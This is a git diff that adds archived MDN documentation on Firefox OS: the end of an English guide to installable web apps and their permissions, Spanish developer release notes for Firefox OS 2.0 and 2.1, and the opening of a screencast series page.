+ <li>When the test is successfully carried out, its success event is fired, therefore <code>installCheck.onsuccess = function() { ... }</code> is run.</li>
+ <li>We then test for the existence of <code>installCheck.result</code> using an <code>if</code> statement. If it does exist, meaning that the app is installed, we hide the button. An install button isn't needed if it is already installed.</li>
+ <li>If the app isn't installed, we add a click event listener to the button, so the <code>install()</code> function is run when the button is clicked.</li>
+ <li>When the button is clicked and the <code>install()</code> function is run, we store the manifest file location in a variable called <code>manifest_url</code>, and then install the app using <code>navigator.mozApps.install(manifest_url)</code>, storing a reference to that installation in the <code>installLocFind</code> variable. You'll notice that this installation also fires success and error events, so you can run actions dependent on whether the install happened successfully or not.</li>
+</ol>
+
+<p>You may want to verify the <a href="/en-US/docs/Web/Apps/JavaScript_API">implementation state of the API</a> when first coming to Installable web apps.</p>
+
+<div class="note">
+<p>Note: Installable open web apps have a "single app per origin" security policy; basically, you can't host more than one installable app per origin. This makes testing a bit more tricky, but there are still ways around this, such as creating different sub-domains for apps, testing them using the Firefox OS Simulator, or testing the install functionality on Firefox Aurora/Nightly, which allows you to install installable web apps on the desktop. See <a href="/en-US/docs/Web/Apps/FAQs/About_app_manifests">FAQs about apps manifests</a> for more information on origins.</p>
+</div>
+
+<h2 id="WebRT_APIs_(Permissions-based_APIs)">WebRT APIs (Permissions-based APIs)</h2>
+
+<p>There are a number of WebAPIs that are available but require permissions for that specific feature to be enabled. Apps may register permission requests within the <code>manifest.webapp</code> file like so:</p>
+
+<pre class="brush: js">// New key in the manifest: "permissions"
+// Request access to any number of APIs
+// Here we request permissions to the systemXHR API
+"permissions": {
+    "systemXHR": {}
+}</pre>
+
+<p>The three levels of permission are as follows:</p>
+
+<ul>
+ <li>Normal — APIs that don't need any kind of special access permissions.</li>
+ <li>Privileged — APIs available to developers to use in their applications, as long as they set access permissions in the app manifest files, and distribute them through a trusted source.</li>
+ <li>Certified — APIs that control critical functions on a device, such as the call dialer and messaging services. These are generally not available for third party developers to use.</li>
+</ul>
+
+<p>For more information on app permission levels, read <a href="https://developer.mozilla.org/en-US/docs/Web/Apps/Packaged_apps#Types_of_packaged_apps" title="/en-US/docs/Web/Apps/Packaged_apps#Types_of_packaged_apps">Types of packaged apps</a>. You can find out more information about what APIs require permissions, and what permissions are required, at <a href="/en-US/docs/Web/Apps/App_permissions">App permissions</a>.</p>
+
+<div class="note">
+<p>It's important to note that not all Web APIs have been implemented within the Firefox OS Simulator.</p>
+</div>
+
+<h2 id="Tools_Testing">Tools &amp; Testing</h2>
+
+<p>Testing is incredibly important when supporting mobile devices. There are many options for testing installable open web apps.</p>
+
+<h3 id="Firefox_OS_Simulator">Firefox OS Simulator</h3>
+
+<p>Installing and using the <a href="https://marketplace.firefox.com/developers/docs/firefox_os_simulator">Firefox OS Simulator</a> is the easiest way to get up and running with your app. After you install the simulator, it is accessible from the Tools -&gt; Web Developer -&gt; Firefox OS Simulator menu. The simulator launches with a JavaScript console so you can debug your application from within the simulator.</p>
+
+<h3 id="App_Manager">App Manager</h3>
+
+<p>The new kid on the block with regards to testing tools is called the <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_App_Manager">App Manager</a>. This tool allows you to connect desktop Firefox to a compatible device via USB (or a Firefox OS simulator), push apps straight to the device, validate apps, and debug them as they run on the device.</p>
+
+<h3 id="Unit_Testing">Unit Testing</h3>
+
+<p>Unit tests are extremely valuable when testing on different devices and builds. jQuery's <a href="http://qunitjs.com">QUnit</a> is a popular client-side testing utility, but you can use any set of testing tools you'd like.</p>
+
+<h3 id="Installing_Firefox_OS_on_a_Device">Installing Firefox OS on a Device</h3>
+
+<p>Since Firefox OS is an open source platform, code and tools are available to build and install Firefox OS on your own device. Build and installation instructions, as well as notes on what devices it can be installed on, can be found on <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform">MDN</a>.</p>
+
+<p>Dedicated Firefox OS developer preview devices are also available: read our <a href="https://marketplace.firefox.com/developers/dev_phone">Developer preview phone page</a> for more information.</p>
+
+<h2 id="App_Submission_and_Distribution">App Submission and Distribution</h2>
+
+<p>Once your app is complete, you can host it yourself like a standard web site or app (read <a href="/en-US/docs/Web/Apps/Publishing/Self-publishing_Apps">Self-publishing apps</a> for more information), or it can be <a href="https://marketplace.firefox.com/developers/submit/app/manifest">submitted</a> to the <a href="https://marketplace.firefox.com">Firefox Marketplace</a>. Your app's manifest will be validated and you may choose which devices your app will support (e.g. Firefox OS, Desktop Firefox, Firefox Mobile, Firefox Tablet). Once validated, you can add additional details about your app (screenshots, descriptions, price, etc.) and officially submit the app for listing within the Marketplace. Once approved, your app is available to the world for purchase and installation.</p>
+
+<h3 id="More_Marketplace_Listing_Information">More Marketplace &amp; Listing Information</h3>
+
+<ol>
+ <li><a href="/en-US/docs/Web/Apps/Publishing/Submitting_an_app">Submitting an App to the Firefox OS Marketplace </a></li>
+ <li><a href="/en-US/docs/Web/Apps/Publishing/Marketplace_review_criteria">Marketplace Review Criteria </a></li>
+ <li><a href="http://s.vid.ly/embeded.html?link=8k2n4w&amp;autoplay=false">App Submission Video Walkthrough </a></li>
+</ol>
+</article>
diff --git a/files/es/archive/b2g_os/releases/2.0/index.html b/files/es/archive/b2g_os/releases/2.0/index.html
new file mode 100644
index 0000000000..df409eb076
--- /dev/null
+++ b/files/es/archive/b2g_os/releases/2.0/index.html
@@ -0,0 +1,116 @@
+---
+title: Firefox OS 2.0 para desarrolladores
+slug: Archive/B2G_OS/Releases/2.0
+tags:
+  - '2.0'
+  - B2G
+  - Firefox OS
+  - Notas de la versión
+translation_of: Archive/B2G_OS/Releases/2.0
+---
+<div class="summary">
+ <p>En esta página se detallan las características para desarrolladores recientemente implementadas en Gecko específicos para Firefox OS 2.0.</p>
+</div>
+<div class="note">
+ <p>El componente Gecko de Firefox OS 2.0 esta basado en Firefox 31/32.</p>
+</div>
+<h2 id="Nuevas_características">Nuevas características</h2>
+<p>Esta sección provee un resumen de las nuevas características disponibles en Firefox OS 2.0. Para mas detalles de cambios en una plataforma especifica (Adiciones API, etc.), revisa la sección<span style="line-height: 1.5;"> <a href="#Adiciones_de_la_plataforma_en_detalle">Adiciones de la plataforma en detalle</a>.</span></p>
+<dl>
+ <dt>
+  NFC</dt>
+ <dd>
+  Esta versión incluye soporte para contenido de dispositivo a dispositivo compartido con la tecnología NFC (Near Field Communication). Tu puedes emparejar tu dispositivo con cualquier otro y luego<span style="line-height: 1.5;"> </span><a href="/en-US/docs/Web/API/NFC_API/Using_the_NFC_API#The_P2P_Sharing_UI" style="line-height: 1.5;">deslizar para compartir</a> tus contactos, multimedia o URL's favoritas con otros<span style="line-height: 1.5;">.</span></dd>
+ <dt>
+  Telefonía</dt>
+ <dd>
+  Firefox OS ahora soporta direcciones IPv4 e IPv6 en el administrador de red.</dd>
+ <dt>
+  Encontrar Mi Dispositivo</dt>
+ <dd>
+  Si has perdido tu teléfono Firefox OS, Encontrar Mi Dispositivo puede ayudarte a encontrarlo (ve al sitio web<span class="author-g-9k649z122zgh819oqmty" style="line-height: 1.5;"> <span class="author-g-9k649z122zgh819oqmty url"><a href="http://find.firefox.com">http://find.firefox.com</a></span>). Puedes verlo en un mapa, hacer que reproduzca un sonido y que muestre un mensaje en pantalla. También puedes bloquearlo remotamente o borrar tu información personal. Para empezar, crea una cuenta Firefox</span><span class="author-g-9k649z122zgh819oqmty" style="line-height: 1.5;"> (<em>Ajustes &gt; Firefox Accounts</em> en tu dispositivo) y activa Encontrar Mi Dispositivo (<span class="author-g-9k649z122zgh819oqmty"><em>Ajustes &gt; Encontrar mi dispositivo</em></span>).</span></dd>
+ <dt>
+  Multimedia</dt>
+ <dd>
+  Ahora puedes crear tus propios ringtones usando tu propia colección de música, o canciones que has descargado de la web.</dd>
+ <dt>
+  Cámara</dt>
+ <dd>
+  La aplicación de la cámara ahora soporta varios modos de enfoque<span style="line-height: 1.5;">: Touch, auto continuo, y seguimiento de rostro.</span></dd>
+ <dt>
+  Productividad</dt>
+ <dd>
+  Hemos realizado una actualización visual a las aplicaciones de Correo, Calendario y Reloj.</dd>
+ <dt>
+  Pantalla de inicio</dt>
+ <dd>
+  <span class="author-g-4f4wmtjtu8s4fjq7 b i">Firefox OS 2.0 introduce una pantalla de inicio con desplazamiento vertical sencillo e iconos mas grandes.</span></dd>
+ <dt>
+  Cambio de aplicación con gestos en los bordes</dt>
+ <dd>
+  Gestos en los bordes están ahora disponibles para intercambiar entre las diferentes aplicaciones (desliza tu pulgar desde el borde izquierdo de la pantalla hacia el derecho y viceversa, para cambiar entre las múltiples aplicaciones abiertas).</dd>
+</dl>
+<h2 id="Nuevas_características_para_socios">Nuevas características para socios</h2>
+<dl>
+ <dt>
+  Integración E.ME </dt>
+ <dd>
+  La integración E.ME proporciona acceso directo a aplicaciones web mientras proveedores de búsqueda configurables pueden buscar en la web al mismo tiempo.</dd>
+</dl>
+<h2 id="Nuevas_características_en_las_DevTools">Nuevas características en las DevTools</h2>
+<p>Las <a href="/en-US/docs/Tools">Herramientas para desarrolladores</a> de Firefox han tenido un gran numero de características añadidas en las versiones 31 y 32 de Firefox; estas no son especificas de Firefox OS, pero puede tomar ventaja de ellas depurando tus aplicaciones para Firefox OS mediante el <a href="/en-US/docs/Tools/WebIDE">WebIDE</a>. Para saber mas, lea:</p>
+<ul>
+ <li><a href="https://hacks.mozilla.org/2014/05/editable-box-model-multiple-selection-sublime-text-keys-much-more-firefox-developer-tools-episode-31/">Firefox Developer Tools Episodio 31</a></li>
+ <li><a href="https://hacks.mozilla.org/2014/06/toolbox-inspector-scratchpad-improvements-firefox-developer-tools-episode-32/">Firefox Developer Tools Episodio 32</a></li>
+</ul>
+<h2 id="Adiciones_de_la_plataforma_en_detalle">Adiciones de la plataforma en detalle</h2>
+<div class="note">
+ <p><strong>Nota</strong>: Esta lista incluye las características mas importantes de Firefox OS. Para una lista ampliada de característica añadidas a Gecko (que generalmente están presentes también en Firefox OS 2.0), consulta las <a href="/en-US/docs/Mozilla/Firefox/Releases/31" title="/en-US/docs/Mozilla/Firefox/Releases/31">notas de la versión para desarrolladores de Firefox 31</a> y las <a href="/en-US/docs/Mozilla/Firefox/Releases/32" title="/en-US/docs/Mozilla/Firefox/Releases/32">notas para desarrolladores de Firefox 32</a>.</p>
+</div>
+<h3 id="Web_API">Web API</h3>
+<ul>
+ <li>Los parámetros del constructor <a href="/es/docs/Web/API/MozMobileNetworkInfo" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>MozMobileNetworkInfo</code></a> constructor acepta ahora valores null (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1026727" title="FIXED: Unknown state is displayed instead of Connected during manual network selection">error 1026727</a>).</li>
+ <li>WebRTC: <span class="author-g-41mtsa1hor7b107c i"><a href="/es/docs/Web/API/MozGetUserMedia" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>mozGetUserMedia</code></a>, <a href="/es/docs/Web/API/MozRTCPeerConnection" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>mozRTCPeerConnection</code></a>, y <a href="/es/docs/Web/API/DataChannels" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>DataChannels</code></a> son soportados por defecto</span>.</li>
+ <li>Nuevas restricciones para  <a class="new" href="https://developer.mozilla.org/en-US/docs/Web/API/NavigatorUserMedia.getUserMedia" title="The documentation about this has not yet been written; please consider contributing!"><code>getUserMedia()</code></a>, <code>width</code>, <code>height</code>, and <code>framerate de </code><a href="https://developer.mozilla.org/en-US/docs/Glossary/WebRTC">WebRTC</a>,  han sido añadidas para limitar las dimensiones del stream y la velocidad de fotogramas (<a class="external external-icon" href="https://bugzilla.mozilla.org/show_bug.cgi?id=907352" title="FIXED: Implement width/height/framerate gUM constraints">bug 907352</a>):
+  <pre class="brush: json  language-json"><code class="language-json"><span class="token punctuation">{</span>
+  mandatory<span class="token punctuation">:</span> <span class="token punctuation">{</span>
+    width<span class="token punctuation">:</span> <span class="token punctuation">{</span> min<span class="token punctuation">:</span> <span class="token number">640</span> <span class="token punctuation">}</span><span class="token punctuation">,</span>
+    height<span class="token punctuation">:</span> <span class="token punctuation">{</span> min<span class="token punctuation">:</span> <span class="token number">480</span> <span class="token punctuation">}</span>
+  <span class="token punctuation">}</span><span class="token punctuation">,</span>
+  optional<span class="token punctuation">:</span> <span class="token punctuation">[</span>
+    <span class="token punctuation">{</span> width<span class="token punctuation">:</span> <span class="token number">650</span> <span class="token punctuation">}</span><span class="token punctuation">,</span>
+    <span class="token punctuation">{</span> width<span class="token punctuation">:</span> <span class="token punctuation">{</span> min<span class="token punctuation">:</span> <span class="token number">650</span> <span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token punctuation">,</span>
+    <span class="token punctuation">{</span> frameRate<span class="token punctuation">:</span> <span class="token number">60</span> <span class="token punctuation">}</span><span class="token punctuation">,</span>
+    <span class="token punctuation">{</span> width<span class="token punctuation">:</span> <span class="token punctuation">{</span> max<span class="token punctuation">:</span> <span class="token number">800</span> <span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token punctuation">,</span>
+  <span class="token punctuation">]</span>
+<span class="token punctuation">}</span></code></pre>
+ </li>
+ <li>Soporte para RTSP streaming está ahora disponible (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=929372" title="FIXED: [RTSP][User Story]Support basic RTSP streaming function.">error 929372</a>).</li>
+ <li>La API de estadística de recursos ha sido implementado (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=951976" title="FIXED: API for Resource Statistics">error 951976</a>).</li>
+ <li>La API de Resource Timing ha sido implementado (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=822480" title="FIXED: Add in the Resource Timing API">error 822480</a>).</li>
+ <li>La API de fastSeek ahora está disponible para elementos multimedia (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=778077" title="FIXED: Implement fastSeek API on media elements (and switch the built-in controls over to it)">error 778077</a>).</li>
+ <li><span class="author-g-41mtsa1hor7b107c i">La <a href="/en-US/docs/Web/API/Network_Information_API">API de información de red</a> está ahora expuesta a Firefox OS (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=960426" title="FIXED: Support Network Information API in Firefox OS">error 960426</a>).</span></li>
+ <li><span class="author-g-41mtsa1hor7b107c i"><span class="author-g-41mtsa1hor7b107c i">Las capacidades Wifi del dispositivo pueden retornarse usando <code>WifiManager.getCapabilities()</code> (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1002314" title="FIXED: [B2G]To have a webapi providing WIFI capabilities of device">error 1002314</a>).</span></span></li>
+ <li>El comportamiento del método <a href="https://developer.mozilla.org/en-US/docs/Web/API/Navigator.vibrate" title="The Navigator.vibrate() method pulses the vibration hardware on the device, if such hardware exists. If the device doesn't support vibration, this method has no effect. If a vibration pattern is already in progress when this method is called, the previous pattern is halted and the new one begins instead."><code>Navigator.vibrate()</code></a>  ha sido adaptado a la ultima especificación: Vibraciones muy largas ahora son truncadas (<a class="external external-icon" href="https://bugzilla.mozilla.org/show_bug.cgi?id=1014581" title="FIXED: Update Vibration API to conform to latest W3C spec">bug 1014581</a>).</li>
+ <li><span class="author-g-41mtsa1hor7b107c i">La <a href="/en-US/docs/Web/API/Device_Storage_API">API de </a><a href="/en-US/docs/Web/API/Device_Storage_API">Device Storage</a> ahora tiene capacidades de montaje y desmontaje (privilegiado) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=971612" title='FIXED: Implement "mount", "unmount" API for device storage'>error 971612</a>).</span></li>
+ <li><span class="author-g-41mtsa1hor7b107c i"><span class="author-g-41mtsa1hor7b107c i">La API de detección de rasgos ahora está disponible (privilegiada) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=983502" title="FIXED: Implement and expose the feature detection API to privileged apps">error 983502</a>).</span></span></li>
+ <li> La <a class="new" href="https://developer.mozilla.org/en-US/docs/Web/API/MSISDN_Verification_API">API de verificación MSISDN </a>ha sido añadida (privilegiada) (<a class="external external-icon" href="https://bugzilla.mozilla.org/show_bug.cgi?id=988469" title="FIXED: MSISDN verification API for privileged apps">bug 988469</a>).</li>
+ <li>Una nueva API de CameraControl está ahora disponible (privilegiada) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=909542" title="FIXED: Camera Control API clean-up/streamline">error 909542</a>).</li>
+ <li>La <a href="https://developer.mozilla.org/en-US/docs/Web/API/Data_Store_API">API</a> de Data Store ahora esta disponible a  <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Performance/Using_web_workers">Web Workers</a> (certificado) (<a class="external external-icon" href="https://bugzilla.mozilla.org/show_bug.cgi?id=949325" title="FIXED: C++ wrapper to support DataStore API on the worker">bug 949325</a>).</li>
+ <li>La <a href="/en-US/docs/Web/API/Device_Storage_API">API de </a><a href="/en-US/docs/Web/API/Device_Storage_API">Device Storage</a> ahora usa las especificaciones del API File System (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=910412" title="FIXED: Change DeviceStorage API to use FileSystem API spec">error 910412</a>).</li>
+ <li><span class="author-g-41mtsa1hor7b107c i">La API de Audio Data obsoleto ha sido eliminada</span> (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=927245" title="FIXED: Remove deprecated Audio Data API implementation">error 927245</a>).</li>
+</ul>
+<h3 id="CSS">CSS</h3>
+<ul>
+ <li><code>position:sticky</code> ahora es soportado y usado en el diseño de Gaia (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=886646" title="FIXED: implement position:sticky">error 886646</a>).</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/flex-grow" title="The CSS flex-grow property specifies the flex grow factor of a flex item."><code>flex-grow</code></a> y  <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/flex-shrink" title="The CSS flex-shrink property specifies the flex shrink factor of a flex item."><code>flex-shrink</code></a> ahora pueden hacer la transición entre valores cero y diferentes de cero (<a class="external external-icon" href="https://bugzilla.mozilla.org/show_bug.cgi?id=996945" title="FIXED: Allow flex-grow / flex-shrink to transition between zero and nonzero values">bug 996945</a>).</li>
+</ul>
+<h3 id="Mejoras_en_las_tecnologías_soportadas">Mejoras en las tecnologías soportadas</h3>
+<ul>
+ <li>Firefox OS 2.0 ahora es compatible con hardware de video H.264, permitiendo crear y reproducir video codificado usando este códec de manera mucho mas eficiente. Consulta <a href="https://developer.mozilla.org/en-US/Firefox_OS/Media_support">Soporte multimedia en Firefox OS</a> para mas detalles.</li>
+</ul>
+<h2 id="Versiones_Antiguas">Versiones Antiguas</h2>
+<p></p><div class="multiColumnList">
+<ul>
+<li><a href="/en-US/docs/Mozilla/Firefox_OS/Releases/1.4">Firefox OS 1.4 for developers</a></li><li><a href="/en-US/docs/Mozilla/Firefox_OS/Releases/1.3">Firefox OS 1.3 for developers</a></li><li><a href="/en-US/docs/Mozilla/Firefox_OS/Releases/1.2">Firefox OS 1.2 for developers</a></li><li><a href="/en-US/docs/Mozilla/Firefox_OS/Releases/1.1">Firefox OS 1.1 for developers</a></li><li><a href="/en-US/docs/Mozilla/Firefox_OS/Releases/1.0.1">Firefox OS 1.0.1 for developers</a></li></ul>
+</div><p></p>
diff --git a/files/es/archive/b2g_os/releases/2.1/index.html b/files/es/archive/b2g_os/releases/2.1/index.html
new file mode 100644
index 0000000000..d43116ad1e
--- /dev/null
+++ b/files/es/archive/b2g_os/releases/2.1/index.html
@@ -0,0 +1,40 @@
+---
+title: Firefox OS 2.1 para desarrolladores
+slug: Archive/B2G_OS/Releases/2.1
+tags:
+  - '2.1'
+  - B2G
+  - Firefox OS
+  - Notas de la versión
+translation_of: Archive/B2G_OS/Releases/2.1
+---
+<div class="summary">
+ <p><span class="seoSummary"><strong style="line-height: 1.5;">Firefox OS 2.1 está en una etapa de pre-lanzamiento en este momento</strong><span style="line-height: 1.5;">. Su componente Gecko está basado en </span><strong style="line-height: 1.5;">Firefox 33/34</strong><span style="line-height: 1.5;">. En esta página se detallan las características para desarrolladores recientemente implementadas en Gecko específicamente para</span> Firefox OS 2.1.</span></p>
+</div>
+<div class="note">
+ <p><strong>Nota</strong>: Para las características generales de Gecko que están también presentes en Firefox OS Gecko, consulta las <a href="/en-US/docs/Mozilla/Firefox/Releases/33" title="/en-US/docs/Mozilla/Firefox/Releases/28">notas de Firefox 33 para desarrolladores</a> y <a href="/en-US/docs/Mozilla/Firefox/Releases/34" title="/en-US/docs/Mozilla/Firefox/Releases/28">notas de Firefox 34 para desarrolladores</a>.</p>
+</div>
+<h2 id="Cambios_en_la_plataforma">Cambios en la plataforma</h2>
+<p>Firefox OS tenia una política de seguridad de "Aplicación individual (single app) por origen", pero esto ha cambiado desde Firefox 34/Firefox OS 2.1 (leer <a href="https://developer.mozilla.org/en-US/Apps/Build/installable_apps_for_Firefox_OS/App_manifest_FAQ#Can_I_have_more_than_one_app_at_my_origin.3F">FAQ</a> para mas información). Si usted necesita compatibilidad con las versiones anteriores, considere alojar tus aplicaciones en orígenes separados; una estrategia posible es <a href="/en-US/Marketplace/Publishing/Adding_a_subdomain">crear diferentes subdominios</a> para tus aplicaciones.</p>
+<h2 id="Cambios_en_la_API_Web">Cambios en la API <span style="font-size: 2.14285714285714rem;">Web </span><span style="font-size: 2.14285714285714rem;"> </span></h2>
+<ul>
+ <li>Los event handlers de emparejamiento de la <a href="/en-US/docs/WebAPI/WebBluetooth">API</a> <a href="/en-US/docs/WebAPI/WebBluetooth">Web Bluetooth </a>— <a href="/es/docs/Web/API/BluetoothAdapter/ondevicepaired" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>BluetoothAdapter.ondevicepaired</code></a> y <a href="/es/docs/Web/API/BluetoothAdapter/ondeviceunpaired" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>BluetoothAdapter.ondeviceunpaired</code></a> — han sido añadidos (ver <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1036234" title="FIXED: Implement pairing in BluetoothAdapter (event handlers)">error 1036234</a>).</li>
+ <li>Métodos de emparejamiento actualizados de la <a href="/en-US/docs/WebAPI/WebBluetooth">API</a> <a href="/en-US/docs/WebAPI/WebBluetooth">Web Bluetooth </a> han sido añadidos (ver <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1036233" title="FIXED: Implement pairing in BluetoothAdapter (methods)">error 1036233</a>):
+  <ul>
+   <li>Promise&lt;void&gt; <a href="/es/docs/Web/API/BluetoothAdapter/pair" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>BluetoothAdapter.pair</code></a>(DOMString aAddress)</li>
+   <li>Promise&lt;void&gt; <a href="/es/docs/Web/API/BluetoothAdapter/unpair" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>BluetoothAdapter.unpair</code></a>(DOMString aAddress)</li>
+   <li>sequence&lt;BluetoothDevice&gt; <a href="/es/docs/Web/API/BluetoothAdapter/getPairedDevices" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>BluetoothAdapter.getPairedDevices</code></a></li>
+  </ul>
+ </li>
+ <li>Compatibilidad para la <a href="https://dvcs.w3.org/hg/speech-api/raw-file/tip/speechapi.html">API</a> <a href="https://dvcs.w3.org/hg/speech-api/raw-file/tip/speechapi.html">Web Speech </a>está pendiente: un parche ha sido enviado (ver <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1032964" title="[B2G][SpeechRTC][User Story]: Enabling Voice input in Firefox OS">error 1032964</a>).</li>
+ <li><span class="author-g-41mtsa1hor7b107c i">La API FileHandle ha sido renombrada como MutableFile, y LockedFile como FileHandle (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1006485" title="FIXED: FileHandle: Rename FileHandle to MutableFile and LockedFile to FileHandle">error 1006485</a>).</span></li>
+</ul>
+<h2 id="Mira_también">Mira también</h2>
+<ul>
+ <li>Notas de Firefox OS 2.1 (Estará enlazada una vez se publique.)</li>
+</ul>
+<h2 id="Versiones_Antiguas">Versiones Antiguas</h2>
+<p></p><div class="multiColumnList">
+<ul>
+<li><a href="/en-US/docs/Mozilla/Firefox_OS/Releases/2.0">Firefox OS 2.0 for developers</a></li><li><a href="/en-US/docs/Mozilla/Firefox_OS/Releases/1.4">Firefox OS 1.4 for developers</a></li><li><a href="/en-US/docs/Mozilla/Firefox_OS/Releases/1.3">Firefox OS 1.3 for developers</a></li><li><a href="/en-US/docs/Mozilla/Firefox_OS/Releases/1.2">Firefox OS 1.2 for developers</a></li><li><a href="/en-US/docs/Mozilla/Firefox_OS/Releases/1.1">Firefox OS 1.1 for developers</a></li><li><a href="/en-US/docs/Mozilla/Firefox_OS/Releases/1.0.1">Firefox OS 1.0.1 for developers</a></li></ul>
+</div><p></p>
diff --git a/files/es/archive/b2g_os/releases/index.html b/files/es/archive/b2g_os/releases/index.html
new file mode 100644
index 0000000000..f4d3874b14
--- /dev/null
+++ b/files/es/archive/b2g_os/releases/index.html
@@ -0,0 +1,24 @@
+---
+title: Firefox OS developer release notes
+slug: Archive/B2G_OS/Releases
+tags:
+  - Firefox OS
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/B2G_OS/Releases
+---
+<h2 id="Firefox_OS_release_notes_by_version">Firefox OS release notes by version</h2>
+<p>This section provides articles covering each new release of Gaia and Gecko for Firefox OS, explaining what features were added and bugs eliminated in each update. There is also a linked summary table showing what APIs are supported by each version of Firefox OS.</p>
+<div class="multiColumnList">
+ <ol><li><a href="/es/docs/Archive/B2G_OS/Releases/2.0">Firefox OS 2.0 para desarrolladores</a></li><li><a href="/es/docs/Archive/B2G_OS/Releases/2.1">Firefox OS 2.1 para desarrolladores</a></li></ol></div>
+<h2 id="Other_supporting_information">Other supporting information</h2>
+<dl>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/API_support_table">Firefox OS API support table</a></dt>
+ <dd>
+  Lists the different APIs available, and what versions of Firefox have support for them.</dd>
+ <dt>
+  <a href="/en-US/docs/Web/Apps/App_permissions">App permissions</a></dt>
+ <dd>
+  Lists hosted, privileged and certified APIs, along with information on the permissions they need to have set in the App Manifest of your installable apps, such as the manifest permission name, app type required, description, access property, and default permission.</dd>
+</dl>
diff --git a/files/es/archive/b2g_os/screencast_series_colon__app_basics_for_firefox_os/index.html b/files/es/archive/b2g_os/screencast_series_colon__app_basics_for_firefox_os/index.html
new file mode 100644
index 0000000000..77c5748c58
--- /dev/null
+++ b/files/es/archive/b2g_os/screencast_series_colon__app_basics_for_firefox_os/index.html
@@ -0,0 +1,228 @@
+---
+title: 'Series de Screencast: Lo Básico sobre Aplicaciones para Firefox OS'
+slug: 'Archive/B2G_OS/Screencast_series:_App_Basics_for_Firefox_OS'
+tags:
+  - API
+  - Apps
+  - B2G
+  - Firefox OS
+translation_of: 'Archive/B2G_OS/Firefox_OS_apps/Screencast_series:_App_Basics_for_Firefox_OS'
+---
+<div class="summary">
+<p><span class="seoSummary"><a href="http://www.mozilla.org/en-US/firefox/os/">Firefox OS</a> es un sistema operativo que trae la Web a los dispositivos móviles; en lugar de ser un nuevo Sistema Operativo con nuevas tecnologías y entornos de desarrollo,  <a href="http://www.mozilla.org/en-US/firefox/os/">Firefox OS </a>se basa en tecnologías web estándar que han estado en uso desde hace años. Si tu eres un desarrollador web y quieres construir una aplicación móvil, <a href="http://www.mozilla.org/en-US/firefox/os/">Firefox OS</a> te da las herramientas para  hacerlo sin tener que cambiar tu flujo de trabajo o aprender un entorno de desarrollo totalmente nuevo. En esta colección de vídeos cortos, desarrolladores de Mozilla y Telenor se reunieron en Oslo, Noruega para explicar en pocos pasos como puedes empezar a construir aplicaciones para Firefox OS.</span></p>
+</div>
+
+<p>En esta serie aprenderás:</p>
+
+<ul>
+ <li>Cómo construir tu primera aplicación para Firefox Os.</li>
+ <li>Cómo depurar y probar tu aplicación en el escritorio y en un dispositivo real.</li>
+ <li>Cómo lograr que aparezca en el  <a href="/en-US/Marketplace">Firefox Marketplace</a>.</li>
+ <li>Cómo usar las APIs e interfaces especiales que Firefox Os ofrece a un desarrollador javaScript para aprovechar el hardware disponible en los teléfonos inteligentes.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Cada uno de los screencast son lo suficientemente cortos para verlos durante un descanso. Toda la serie no debe tomar mas de una hora para observarla.</p>
+</div>
+
+<h2 id="Código_y_entorno_de_desarrollo">Código y entorno de desarrollo</h2>
+
+<p>Además de los screencasts, tu puedes descargar los <a href="https://github.com/comoyo/fxos-video-script/">códigos de ejemplo desde GitHub</a> que los acompañan. Si deseas probar los códigos de ejemplo por ti mismo, necesitarás configurar un entorno de desarrollo muy sencillo. Todo lo que necesitas es:</p>
+
+<ul>
+ <li>Una versión actual de  <a href="https://www.mozilla.org/en-US/firefox/">Firefox</a>, que sale de la caja con las herramientas de desarrollo que necesitas — nosotros recomendamos obtener <a href="http://www.mozilla.org/en-US/firefox/aurora/">Firefox Aurora</a> o <a href="https://nightly.mozilla.org/">Nightly</a> si realmente quieres  jugar con la tecnología de ultima generación.</li>
+ <li>Un editor de texto — en los screencast nosotros usamos <a href="http://www.sublimetext.com/">Sublime Text</a>, pero cualquiera sirve. Si quieres ser realmente nativo en la web, puedes probar con <a href="http://brackets.io/">Adobe Brackets</a>.</li>
+ <li>Un servidor local o un servidor para subir los archivos de tu demo. Algunas de las aplicaciones demo necesitan conexiones HTTP en lugar de conexiones locales.</li>
+</ul>
+
+<h2 id="Presentación_de_la_serie">Presentación de la serie</h2>
+
